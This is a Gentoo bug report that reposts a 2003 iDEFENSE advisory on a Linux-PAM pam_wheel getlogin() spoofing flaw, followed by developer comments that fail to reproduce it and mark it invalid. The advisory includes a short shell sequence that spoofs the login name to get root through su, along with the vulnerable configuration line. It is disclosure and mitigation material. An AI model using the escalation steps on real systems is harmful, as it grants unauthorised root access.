Bug 22944 – sys-apps/pam

• Product: Gentoo Security
• Status: RESOLVED INVALID

[Description Daniel Ahlberg (RETIRED) 2003-06-16 13:04:07 UTC]

iDEFENSE Security Advisory 06.16.03: Linux-PAM getlogin() Spoofing Vulnerability 
 
From:  
"iDEFENSE Labs" <[e-mail]> 
 
 
To:  
[e-mail] 
 
 
Date:  
Today 17.27.02 
 
 
 
Message was signed with unknown key 0xE4A96E4F. 
The validity of the signature cannot be verified. 
 
 
iDEFENSE Security Advisory 06.16.03: 
http://www.idefense.com/advisory/06.16.03.txt 
Linux-PAM getlogin() Spoofing Vulnerability 
June 16, 2003 
 
I. BACKGROUND 
 
The Pluggable Authentication Module (PAM) is a flexible mechanism for 
authenticating users. More information is available at 
http://www.kernel.org/pub/linux/libs/pam/ . 
 
II. DESCRIPTION 
 
The pam_wheel module of Andrew G. Morgan's Linux-PAM uses getlogin() in 
an insecure manner, thereby allowing attackers to bypass certain 
restrictions. The pam_wheel module is often used with su(1) to allow 
users belonging to a trusted group to utilize the command without 
supplying a password. The module utilizes the getlogin() function to 
determine the name of the currently logged in user. This name is then 
compared against a list of members of a trusted group as specified in 
the configuration file. The following is a snippet of the offending 
section of code: 
 
fromsu = getlogin(); 
if (fromsu) { 
    tpwd = getpwnam(fromsu); 
} 
 
... 
... 
... 
 
/* 
* test if the user is a member of the group, or if the 
* user has the "wheel" (sic) group as its primary group. 
*/ 
if (is_on_list(grp->gr_mem, fromsu) || (tpwd->pw_gid == grp->gr_gid)) { 
    if (ctrl & PAM_DENY_ARG) { 
        retval = PAM_PERM_DENIED; 
    } else if (ctrl & PAM_TRUST_ARG) { 
        retval = PAM_SUCCESS;        /* this can be a sufficient check 
*/ 
    } else { 
        retval = PAM_IGNORE; 
    } 
} else { 
 
If the "trust" option is enabled in the pam_wheel configuration file 
and the "use_uid" option is disabled, any local user may spoof the 
username returned by getlogin() and gain access to a super-user account 
without supplying a password. The following is a sample exploitation 
scenario: 
 
$ w 
10:32am up 3:26, 2 users, load average: 0.01, 0.01, 0.00 
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 
root tty1 - 7:13am 3:03m 0.30s 0.22s -bash 
farmer pts/0 172.16.60.5 10:32am 0.00s 0.00s ? - 
 
$ logname 
farmer 
 
$ ln /dev/tty tty1 
$ bash < tty1 
 
$ logname 
root 
 
$ su - 
# id 
uid=0(root) gid=0(root) 
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) 
 
III. ANALYSIS 
 
If the appropriate configuration options are enabled, and a member of 
the wheel group is currently logged in, any local user can spoof log 
entries, or, in the worst case scenario, obtain super-user privileges 
depending on the PAM configuration settings. 
 
IV. DETECTION 
 
Linux-PAM 0.77 and previous versions are vulnerable, however, the 
necessary configuration for exploitability must also exist. More 
specifically, a trust of the wheel group must exist in an application 
such as su(1), and the use_uid option must not be enabled. This is 
usually not the default situation with most Linux installations. 
 
The following is a sample default nonvulnerable entry from 
/etc/pam.d/su in Redhat 7.3: 
 
# Uncomment the following line to implicitly trust users in the "wheel" 
group. 
#auth sufficient /lib/security/pam_wheel.so trust use_uid 
 
The following is a sample entry in /etc/pam.d/su that would be 
vulnerable to the described attack: 
 
# Uncomment the following line to implicitly trust users in the "wheel" 
group. 
auth sufficient /lib/security/pam_wheel.so trust 
 
V. WORKAORUND 
 
When utilizing the pam_wheel module, enable the use_uid option. Doing 
so should prevent the login name spoofing from circumventing PAM 
restrictions. 
 
VI. VENDOR FIX 
 
Andrew Morgan does not plan to release a new version of Linux-PAM, 
however, Linux-PAM 0.78, which does fix this flaw, is obtainable via 
the following CVS: 
 
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/pam/Linux-PAM/ 
 
Linux distributors will be releasing their own updates as appropriate. 
 
VII. CVE INFORMATION 
 
The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project 
has assigned the identification number CAN-2003-0388 to this issue. 
 
VIII. DISCLOSURE TIMELINE 
 
21 OCT 2002      Issue disclosed to iDEFENSE 
22 NOV 2002      Andrew Morgan (Linux-PAM maintainer) notified 
23 NOV 2002      Response received from Andrew Morgan 
25 NOV 2002      iDEFENSE clients notified 
14 DEC 2002      Patch provided to iDEFENSE for validation 
14 JAN 2003      Issue fixed in CVS 
09 JUN 2003      Andrew Morgan contacted re: availability of next 
                 stable release 
09 JUN 2003      [e-mail] informed of CVS updates 
16 JUN 2003      Coordinated public disclosure 
 
X. CREDIT 
 
Karol Wiesek ([e-mail]) is credited with discovering this 
vulnerability. 
 
 
Get paid for security research 
http://www.idefense.com/contributor.html 
 
Subscribe to iDEFENSE Advisories: 
send email to [e-mail], subject line: "subscribe" 
 
 
About iDEFENSE: 
 
iDEFENSE is a global security intelligence company that proactively 
monitors sources throughout the world - from technical vulnerabilities 
and hacker profiling to the global spread of viruses and other 
malicious code. Our security intelligence services provide 
decision-makers, frontline security professionals and network 
administrators with timely access to actionable intelligence and 
decision support on cyber-related threats. For more information, visit 
http://www.idefense.com . 
 
 
 
End of signed message 
 
To stop receiving iDEFENSE Security Advisories, reply to this message and put "unsubscribe" in the 
subject.

[Comment 1 solar (RETIRED) 2003-09-10 23:46:21 UTC]

I cant reproduce this no matter how hard I try.

[Comment 2 solar (RETIRED) 2003-10-11 13:10:24 UTC]

Can anybody else reproduce/confirm and or debunk this on gentoo?

[Comment 3 Martin Schlemmer (RETIRED) 2003-10-29 14:26:42 UTC]

Our example have the use_uid.  Have not tried without it though.

[Comment 4 Joshua Brindle (RETIRED) 2004-02-14 08:25:13 UTC]

if we can't reproduce this and our default has use_uid and no trust anyway why not mark this invalid?

[Comment 5 Aida Escriva-Sammer (RETIRED) 2004-02-19 10:41:45 UTC]

I tried reproducing this bug using PAM 0.77 on x86 to no avail. I agree with Method - if use_uid is on by default and the flaw can't be reproduced, it's invalid.